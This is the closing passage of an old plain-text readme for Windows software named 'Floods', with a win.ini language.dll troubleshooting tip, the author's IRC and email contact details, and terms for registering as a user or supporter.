  732.                  language.dll option in your win.ini.
  733.               2. Set the language.dll option yourself.  An easy way to do this
  734.                  is to run setup, change the language to something else.  Then
  735.                  save the new settings.  After that, if you want the language
  736.                  to be the old one, then run setup again and change it back.
  737.                  Note that this is not guranteed to work, but it worked for
  738.                  me.
  739.  
  740.  
  741.         - Others -
  742.  
  743.         -> This area is closed until someone posts me something to say.
  744.  
  745.  
  746. ╔════════════════════════════════════════════════════════════════════════════╗
  747. ║░░  Contact Information  ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  748. ╚════════════════════════════════════════════════════════════════════════════╝
  749.  
  750.         If for some reason or another you wish to contact me, here's my info.
  751.  
  752.         IRC Nick     : H-Master
  753.         IRC Network  : Galaxynet / EFnet / Dalnet (In order of perferences)
  754.         E-mail       : h-master@post1.com (No flames / chains / bombs!)
  755.  
  756.         If you want to get the latest copy of Floods, e-mail me or get it from
  757.         http://www.post1.com/~h-master
  758.  
  759.         If you want me to add you to my list of registered users, just e-mail
  760.         me a reason why you like Floods so much AND an enhancement you would
  761.         like to see in the next release of Floods.  Include your e-mail
  762.         address, IRC nick, the IRC network(s) you visit most often and the
  763.         version of Flood you are talking about.  If any of the above
  764.         information is not supplied, then your application may be void.
  765.         Registered users DO NOT have to pay (for now anyway) and will receive
  766.         notifications of new Floods releases by e-mail.
  767.         
  768.         <Note: A bugfix is considered an enhancement.  If you are already a >
  769.         <registered user and you send me another enhancement, then you will >
  770.         <be upgraded to a supporter and future versions of the software will>
  771.         <be mailed through e-mail to you.  You will also receive beta copies>
  772.         <of the software, if you request for them.                          >
  773.